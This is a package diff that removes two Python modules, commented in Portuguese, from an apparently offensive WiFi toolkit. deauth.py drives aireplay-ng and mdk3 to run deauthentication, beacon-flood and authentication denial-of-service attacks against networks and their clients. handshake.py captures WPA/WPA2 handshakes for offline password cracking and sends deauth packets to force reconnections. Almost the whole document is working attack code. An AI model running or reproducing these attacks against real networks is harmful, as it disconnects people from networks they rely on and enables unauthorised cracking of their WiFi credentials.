moriarty-project 0.1.22__py3-none-any.whl → 0.1.24__py3-none-any.whl

moriarty/modules/wifippler/core/attacks/deauth.py

@@ -1,262 +0,0 @@
-"""
-Módulo de ataque de desautenticação.
-
-Este módulo implementa ataques de desautenticação contra redes WiFi, permitindo:
-- Desautenticar clientes específicos
-- Desautenticar todos os clientes de uma rede
-- Enviar pacotes de desautenticação em massa
-- Realizar ataques Beacon Flood
-- Realizar ataques de desautenticação direcionados
-"""
-import os
-import re
-import time
-import logging
-import subprocess
-import tempfile
-from typing import Optional, Dict, List, Tuple, Any, Callable, Union
-from dataclasses import dataclass, field
-from enum import Enum, auto
-
-from rich.console import Console
-from rich.progress import Progress, SpinnerColumn, TextColumn
-
-from ...core.models.network import WiFiNetwork, WiFiClient
-from ...core.utils import (
-    is_root, check_dependencies, get_network_interfaces,
-    set_monitor_mode, restore_network_interface, command_exists,
-    get_interface_mac
-)
-
-# Importa o decorador de registro de ataques
-from . import register_attack
-
-# Configuração de logging
-logging.basicConfig(level=logging.INFO)
-logger = logging.getLogger(__name__)
-console = Console()
-
-class DeauthAttackType(Enum):
-    """Tipos de ataque de desautenticação."""
-    DEAUTH = auto()          # Desautenticação padrão
-    AUTH = auto()            # Pacotes de autenticação
-    BEACON = auto()          # Beacon flood
-    DISASSOC = auto()        # Desassociação
-    PROBE_RESP = auto()      # Resposta a sondas
-    AUTH_DOS = auto()        # Negação de serviço por autenticação
-    DEAUTH_BROADCAST = auto() # Desautenticação em broadcast
-    DEAUTH_MULTICAST = auto() # Desautenticação em multicast
-    DEAUTH_DIRECTED = auto()  # Desautenticação direcionada
-
-class DeauthEventType(Enum):
-    """Tipos de eventos do ataque de desautenticação."""
-    START = auto()
-    PACKET_SENT = auto()
-    CLIENT_DISCONNECTED = auto()
-    ERROR = auto()
-    COMPLETE = auto()
-    STATUS = auto()
-
-@dataclass
-class DeauthEvent:
-    """Evento de progresso do ataque de desautenticação."""
-    type: DeauthAttackType
-    message: str = ""
-    data: Dict[str, Any] = field(default_factory=dict)
-
-@register_attack
-class DeauthAttack:
-    """
-    Ataque de desautenticação WiFi.
-    
-    Este ataque envia pacotes de desautenticação para desconectar clientes de uma rede WiFi.
-    Pode ser direcionado a um cliente específico ou a todos os clientes de uma rede.
-    """
-    
-    # Metadados do ataque
-    name = "deauth"
-    description = "Ataque de desautenticação WiFi para desconectar clientes de uma rede"
-    
-    def __init__(self):
-        """Inicializa o ataque de desautenticação."""
-        self.interface = None
-        self.deauth_type = None
-        self.is_running = False
-        self.stop_requested = False
-        self.packets_sent = 0
-        self.process = None
-        self._check_dependencies()
-    
-    def _check_dependencies(self) -> None:
-        """Verifica se todas as dependências necessárias estão instaladas."""
-        required = ['aireplay-ng', 'mdk4', 'mdk3', 'iwconfig', 'ifconfig']
-        missing = [cmd for cmd in required if not command_exists(cmd)]
-        
-        if missing:
-            raise RuntimeError(
-                f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
-                "Instale-as com: sudo apt install aircrack-ng mdk4 mdk3 wireless-tools"
-            )
-    
-    def run(self, *, iface: str, target: Optional[str] = None, **kwargs) -> bool:
-        """
-        Executa o ataque de desautenticação.
-        
-        Args:
-            iface: Interface de rede a ser usada
-            target: Endereço MAC do alvo (pode ser um cliente ou AP)
-            **kwargs: Argumentos adicionais:
-                - bssid: Endereço MAC do ponto de acesso (obrigatório se target for um cliente)
-                - client_mac: Endereço MAC do cliente (opcional, None para broadcast)
-                - count: Número de pacotes a enviar (0 para contínuo, padrão: 0)
-                - delay: Atraso entre pacotes em ms (padrão: 100)
-                - reason: Código de motivo (padrão: 7)
-                - channel: Canal da rede (opcional, tenta detectar)
-                - deauth_type: Tipo de ataque (padrão: DEAUTH)
-        """
-        self.interface = iface
-        bssid = target or kwargs.get('bssid')
-        client_mac = kwargs.get('client_mac')
-        count = kwargs.get('count', 0)
-        delay = kwargs.get('delay', 100)
-        reason = kwargs.get('reason', 7)
-        channel = kwargs.get('channel')
-        deauth_type = kwargs.get('deauth_type', 'DEAUTH')
-        
-        # Configura o tipo de ataque
-        self.deauth_type = DeauthAttackType[deauth_type.upper()] if isinstance(deauth_type, str) else deauth_type
-        
-        # Função de callback padrão
-        def default_callback(event):
-            if event.type == DeauthEventType.INFO:
-                logger.info(event.message)
-            elif event.type == DeauthEventType.ERROR:
-                logger.error(event.message)
-        
-        callback = kwargs.get('callback', default_callback)
-        
-        def event_handler(event_type: DeauthEventType, message: str = "", **kwargs):
-            if callback:
-                event = DeauthEvent(type=event_type, message=message, data=kwargs)
-                callback(event)
-        
-        try:
-            # Verifica privilégios
-            if not is_root():
-                raise PermissionError("Este ataque requer privilégios de root")
-            
-            # Define o canal, se especificado
-            if channel:
-                self._set_channel(channel)
-            
-            # Prepara o comando com base no tipo de ataque
-            if self.deauth_type == DeauthAttackType.BEACON:
-                cmd = self._prepare_beacon_attack(bssid, essid="FREE_WIFI")
-            elif self.deauth_type == DeauthAttackType.AUTH_DOS:
-                cmd = self._prepare_auth_dos(bssid)
-            else:  # Desautenticação padrão
-                cmd = self._prepare_standard_deauth(bssid, client_mac, count, delay, reason)
-            
-            event_handler(DeauthEventType.START, f"Iniciando ataque {self.deauth_type.name}...")
-            
-            # Executa o comando em segundo plano
-            self.process = subprocess.Popen(
-                cmd,
-                stdout=subprocess.PIPE,
-                stderr=subprocess.STDOUT,
-                universal_newlines=True
-            )
-            
-            # Monitora a saída
-            start_time = time.time()
-            self.is_running = True
-            
-            while True:
-                # Verifica se foi solicitado para parar
-                if self.stop_requested:
-                    self._stop_process()
-                    event_handler(DeauthEventType.COMPLETE, "Ataque interrompido pelo usuário")
-                    return True
-                
-                # Verifica se o processo ainda está em execução
-                if self.process.poll() is not None:
-                    break
-                
-                # Lê a saída
-                line = self.process.stdout.readline()
-                if line:
-                    # Conta os pacotes enviados
-                    if "DeAuth" in line or "Sent" in line:
-                        self.packets_sent += 1
-                        event_handler(
-                            DeauthEventType.PACKET_SENT,
-                            f"Pacote {self.packets_sent} enviado",
-                            packets_sent=self.packets_sent
-                        )
-                    
-                    # Verifica se um cliente foi desconectado
-                    if "deauth" in line.lower() or "disassoc" in line.lower():
-                        event_handler(
-                            DeauthEventType.CLIENT_DISCONNECTED,
-                            f"Cliente {client_mac or 'broadcast'} desconectado",
-                            client_mac=client_mac,
-                            bssid=bssid
-                        )
-                
-                # Aguarda um pouco antes da próxima verificação
-                time.sleep(0.1)
-            
-            event_handler(DeauthEventType.COMPLETE, "Ataque concluído")
-            return True
-            
-        except Exception as e:
-            event_handler(DeauthEventType.ERROR, f"Erro durante o ataque: {str(e)}")
-            return False
-        finally:
-            self.is_running = False
-    
-    def _set_channel(self, channel: int) -> None:
-        """Define o canal da interface de rede."""
-        try:
-            subprocess.run(
-                ["iwconfig", self.interface, "channel", str(channel)],
-                check=True,
-                capture_output=True
-            )
-        except subprocess.CalledProcessError as e:
-            raise RuntimeError(f"Falha ao definir o canal {channel}: {e.stderr}")
-    
-    def _prepare_standard_deauth(self, bssid: str, client_mac: str = None,
-                               count: int = 0, delay: int = 100,
-                               reason: int = 7) -> List[str]:
-        """Prepara o comando para desautenticação padrão."""
-        cmd = ["aireplay-ng", "--deauth", str(count) if count > 0 else "0",
-               "-a", bssid, "-D", str(delay), "--ignore-negative-one"]
-        
-        if client_mac:
-            cmd.extend(["-c", client_mac])
-        
-        cmd.append(self.interface)
-        return cmd
-    
-    def _prepare_beacon_attack(self, bssid: str, essid: str = "FREE_WIFI") -> List[str]:
-        """Prepara o comando para ataque de Beacon Flood."""
-        return ["mdk3", self.interface, "b", "-n", essid, "-c", "1", "-s", "100"]
-    
-    def _prepare_auth_dos(self, bssid: str) -> List[str]:
-        """Prepara o comando para ataque de negação de serviço por autenticação."""
-        return ["mdk3", self.interface, "a", "-a", bssid, "-m"]
-    
-    def _stop_process(self) -> None:
-        """Para o processo em execução."""
-        if self.process and self.process.poll() is None:
-            self.process.terminate()
-            try:
-                self.process.wait(timeout=5)
-            except subprocess.TimeoutExpired:
-                self.process.kill()
-    
-    def stop(self) -> None:
-        """Solicita a interrupção do ataque."""
-        self.stop_requested = True
-        self._stop_process()

moriarty/modules/wifippler/core/attacks/handshake.py

@@ -1,402 +0,0 @@
-"""
-Módulo de captura de handshake WPA/WPA2.
-
-Este módulo implementa a captura de handshakes WPA/WPA2, que são necessários
-para realizar ataques de força bruta offline.
-"""
-import os
-import re
-import time
-import logging
-import subprocess
-import tempfile
-from typing import Optional, Dict, List, Tuple, Any, Callable
-from dataclasses import dataclass, field
-from enum import Enum, auto
-
-from rich.console import Console
-from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn, TimeElapsedColumn
-
-from ...core.models.network import WiFiNetwork, WiFiClient
-from ...core.utils import (
-    is_root, check_dependencies, get_network_interfaces,
-    set_monitor_mode, restore_network_interface, command_exists,
-    get_interface_mac
-)
-
-# Configuração de logging
-logging.basicConfig(level=logging.INFO)
-logger = logging.getLogger(__name__)
-console = Console()
-
-class HandshakeEventType(Enum):
-    """Tipos de eventos da captura de handshake."""
-    START = auto()
-    HANDSHAKE_CAPTURED = auto()
-    DEAUTH_SENT = auto()
-    ERROR = auto()
-    PROGRESS = auto()
-    COMPLETE = auto()
-    CLIENT_FOUND = auto()
-    WAITING_FOR_HANDSHAKE = auto()
-
-@dataclass
-class HandshakeEvent:
-    """Evento de progresso da captura de handshake."""
-    type: HandshakeEventType
-    message: str = ""
-    data: Dict[str, Any] = field(default_factory=dict)
-
-class HandshakeCapture:
-    """Classe para capturar handshakes WPA/WPA2."""
-    
-    def __init__(self, interface: str = None, timeout: int = 300):
-        """
-        Inicializa a captura de handshake.
-        
-        Args:
-            interface: Interface de rede para usar
-            timeout: Tempo máximo de captura em segundos
-        """
-        self.interface = interface
-        self.timeout = timeout
-        self.is_running = False
-        self.stop_requested = False
-        self.handshake_captured = False
-        self.handshake_file = ""
-        self.clients = []
-        
-        # Verifica dependências
-        self._check_dependencies()
-        
-        # Verifica privilégios
-        if not is_root():
-            raise PermissionError("Este módulo requer privilégios de root")
-    
-    def _check_dependencies(self) -> None:
-        """Verifica se todas as dependências necessárias estão instaladas."""
-        required = ['airodump-ng', 'aireplay-ng', 'aircrack-ng']
-        missing = [cmd for cmd in required if not command_exists(cmd)]
-        
-        if missing:
-            raise RuntimeError(
-                f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
-                "Instale-as com: sudo apt install aircrack-ng"
-            )
-    
-    def capture(self, bssid: str, channel: int, essid: str = None,
-               output_prefix: str = "handshake",
-               deauth: bool = True, deauth_count: int = 5,
-               client_mac: str = None,
-               callback: Callable[[HandshakeEvent], None] = None) -> Tuple[bool, str]:
-        """
-        Captura um handshake WPA/WPA2.
-        
-        Args:
-            bssid: Endereço MAC do ponto de acesso
-            channel: Canal da rede
-            essid: Nome da rede (opcional)
-            output_prefix: Prefixo para os arquivos de saída
-            deauth: Se deve enviar pacotes de desautenticação
-            deauth_count: Número de pacotes de desautenticação a enviar
-            client_mac: Endereço MAC do cliente alvo (opcional)
-            callback: Função de callback para eventos
-            
-        Returns:
-            Tupla (sucesso, caminho_do_arquivo_capturado)
-        """
-        self.is_running = True
-        self.stop_requested = False
-        self.handshake_captured = False
-        self.handshake_file = ""
-        self.clients = []
-        
-        # Configura o monitoramento de eventos
-        def event_handler(event_type: HandshakeEventType, message: str = "", **kwargs):
-            if callback:
-                event = HandshakeEvent(type=event_type, message=message, data=kwargs)
-                callback(event)
-        
-        # Cria um diretório temporário para os arquivos
-        with tempfile.TemporaryDirectory() as temp_dir:
-            try:
-                output_file = os.path.join(temp_dir, output_prefix)
-                cap_file = f"{output_file}-01.cap"
-                
-                # Comando para o airodump-ng
-                cmd_airodump = [
-                    'airodump-ng',
-                    '--bssid', bssid,
-                    '-c', str(channel),
-                    '-w', output_file,
-                    '--output-format', 'cap,pcap',
-                    '--write-interval', '1',
-                    self.interface
-                ]
-                
-                if essid:
-                    cmd_airodump.extend(['--essid', essid])
-                
-                event_handler(HandshakeEventType.START, "Iniciando captura do handshake...")
-                
-                # Executa o airodump-ng em segundo plano
-                airodump_proc = subprocess.Popen(
-                    cmd_airodump,
-                    stdout=subprocess.PIPE,
-                    stderr=subprocess.PIPE,
-                    universal_newlines=True
-                )
-                
-                # Aguarda o airodump-ng iniciar
-                time.sleep(5)
-                
-                # Se solicitado, envia pacotes de desautenticação
-                if deauth:
-                    self._send_deauth(
-                        bssid, 
-                        count=deauth_count, 
-                        client=client_mac,
-                        callback=lambda e: event_handler(
-                            HandshakeEventType.DEAUTH_SENT, 
-                            e.message, 
-                            **e.data
-                        )
-                    )
-                
-                # Monitora a captura
-                start_time = time.time()
-                last_client_count = 0
-                
-                with Progress(
-                    SpinnerColumn(),
-                    TextColumn("[progress.description]{task.description}"),
-                    BarColumn(bar_width=40),
-                    "[progress.percentage]{task.percentage:>3.0f}%",
-                    TimeElapsedColumn(),
-                    console=console,
-                    transient=True,
-                ) as progress:
-                    task = progress.add_task("Aguardando handshake WPA...", total=100)
-                    
-                    while True:
-                        # Verifica timeout
-                        elapsed = time.time() - start_time
-                        if elapsed > self.timeout:
-                            event_handler(
-                                HandshakeEventType.ERROR,
-                                "Tempo limite excedido na captura do handshake"
-                            )
-                            airodump_proc.terminate()
-                            return False, ""
-                        
-                        # Verifica se foi solicitado para parar
-                        if self.stop_requested:
-                            event_handler(
-                                HandshakeEventType.ERROR,
-                                "Captura interrompida pelo usuário"
-                            )
-                            airodump_proc.terminate()
-                            return False, ""
-                        
-                        # Atualiza a barra de progresso
-                        progress.update(task, completed=min(100, (elapsed / self.timeout) * 100))
-                        
-                        # Verifica se o arquivo de captura existe
-                        if os.path.exists(cap_file):
-                            # Verifica se o handshake foi capturado
-                            if self._check_handshake(cap_file, bssid):
-                                self.handshake_captured = True
-                                self.handshake_file = cap_file
-                                
-                                # Copia o arquivo para o diretório atual
-                                import shutil
-                                final_file = os.path.join(os.getcwd(), f"{output_prefix}.cap")
-                                shutil.copy2(cap_file, final_file)
-                                
-                                event_handler(
-                                    HandshakeEventType.HANDSHAKE_CAPTURED,
-                                    "Handshake capturado com sucesso!",
-                                    handshake_file=final_file
-                                )
-                                
-                                airodump_proc.terminate()
-                                return True, final_file
-                            
-                            # Verifica por novos clientes
-                            clients = self._get_clients(cap_file, bssid)
-                            if len(clients) > last_client_count:
-                                last_client_count = len(clients)
-                                self.clients = clients
-                                
-                                event_handler(
-                                    HandshakeEventType.CLIENT_FOUND,
-                                    f"{len(clients)} cliente(s) encontrado(s)",
-                                    clients=clients
-                                )
-                                
-                                # Se não havia cliente alvo e encontrou um, envia desautenticação
-                                if deauth and not client_mac and clients:
-                                    client_mac = clients[0].mac
-                                    self._send_deauth(
-                                        bssid,
-                                        client=client_mac,
-                                        count=deauth_count,
-                                        callback=lambda e: event_handler(
-                                            HandshakeEventType.DEAUTH_SENT, 
-                                            e.message, 
-                                            **e.data
-                                        )
-                                    )
-                        
-                        # Aguarda um pouco antes da próxima verificação
-                        time.sleep(1)
-                
-                return False, ""
-                
-            except Exception as e:
-                event_handler(
-                    HandshakeEventType.ERROR,
-                    f"Erro durante a captura do handshake: {str(e)}"
-                )
-                return False, ""
-            
-            finally:
-                self.is_running = False
-                # Encerra processos em execução
-                try:
-                    airodump_proc.terminate()
-                except:
-                    pass
-    
-    def _send_deauth(self, bssid: str, client: str = None, 
-                    count: int = 5, reason: int = 7,
-                    callback: Callable[[HandshakeEvent], None] = None) -> bool:
-        """
-        Envia pacotes de desautenticação para forçar um handshake.
-        
-        Args:
-            bssid: Endereço MAC do ponto de acesso
-            client: Endereço MAC do cliente (None para broadcast)
-            count: Número de pacotes a enviar
-            reason: Código de motivo da desautenticação
-            callback: Função de callback para eventos
-            
-        Returns:
-            True se os pacotes foram enviados com sucesso, False caso contrário
-        """
-        try:
-            cmd = [
-                'aireplay-ng',
-                '--deauth', str(count),
-                '-a', bssid,
-                '-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
-                '--ignore-negative-one',
-            ]
-            
-            if client and client.lower() != 'ff:ff:ff:ff:ff:ff':
-                cmd.extend(['-c', client])
-            
-            cmd.append(self.interface)
-            
-            if callback:
-                event = HandshakeEvent(
-                    type=HandshakeEventType.DEAUTH_SENT,
-                    message=f"Enviando {count} pacotes de desautenticação para {client or 'broadcast'}",
-                    data={
-                        'bssid': bssid,
-                        'client': client,
-                        'count': count,
-                        'reason': reason
-                    }
-                )
-                callback(event)
-            
-            subprocess.run(cmd, capture_output=True, check=True)
-            return True
-            
-        except subprocess.CalledProcessError as e:
-            if callback:
-                event = HandshakeEvent(
-                    type=HandshakeEventType.ERROR,
-                    message=f"Erro ao enviar pacotes de desautenticação: {e.stderr}",
-                    data={'error': str(e)}
-                )
-                callback(event)
-            return False
-    
-    def _check_handshake(self, cap_file: str, bssid: str) -> bool:
-        """
-        Verifica se um arquivo de captura contém um handshake WPA/WPA2 válido.
-        
-        Args:
-            cap_file: Caminho para o arquivo de captura
-            bssid: Endereço MAC do ponto de acesso
-            
-        Returns:
-            True se o handshake for válido, False caso contrário
-        """
-        try:
-            # Usa o aircrack-ng para verificar o handshake
-            cmd = ['aircrack-ng', cap_file, '-b', bssid, '-l', '/dev/null']
-            result = subprocess.run(cmd, capture_output=True, text=True)
-            
-            # Verifica a saída para determinar se há um handshake válido
-            return "1 handshake" in result.stdout or "1 valid handshake" in result.stdout
-            
-        except Exception as e:
-            logger.error(f"Erro ao verificar handshake: {e}")
-            return False
-    
-    def _get_clients(self, cap_file: str, bssid: str) -> List[WiFiClient]:
-        """
-        Extrai a lista de clientes de um arquivo de captura.
-        
-        Args:
-            cap_file: Caminho para o arquivo de captura
-            bssid: Endereço MAC do ponto de acesso
-            
-        Returns:
-            Lista de clientes encontrados
-        """
-        clients = []
-        
-        try:
-            # Usa o tshark para extrair os endereços MAC dos clientes
-            cmd = [
-                'tshark',
-                '-r', cap_file,
-                '-Y', f'wlan.bssid == {bssid} && wlan.fc.type_subtype == 0x08',  # Beacon frames
-                '-T', 'fields',
-                '-e', 'wlan.ta',  # Transmitter address (client MAC)
-                '-e', 'wlan_radio.signal_dbm',
-                '-e', 'frame.time_relative'
-            ]
-            
-            result = subprocess.run(cmd, capture_output=True, text=True)
-            
-            # Processa a saída
-            for line in result.stdout.splitlines():
-                parts = line.strip().split('\t')
-                if len(parts) >= 2:
-                    mac = parts[0].strip()
-                    signal = int(float(parts[1])) if parts[1] else -100
-                    
-                    # Verifica se o cliente já está na lista
-                    if not any(c.mac == mac for c in clients):
-                        client = WiFiClient(
-                            mac=mac,
-                            signal_dbm=signal,
-                            signal_percent=max(0, min(100, 2 * (signal + 100))),
-                            is_associated=True
-                        )
-                        clients.append(client)
-            
-            return clients
-            
-        except Exception as e:
-            logger.error(f"Erro ao extrair clientes: {e}")
-            return []
-    
-    def stop(self):
-        """Solicita a interrupção da captura."""
-        self.stop_requested = True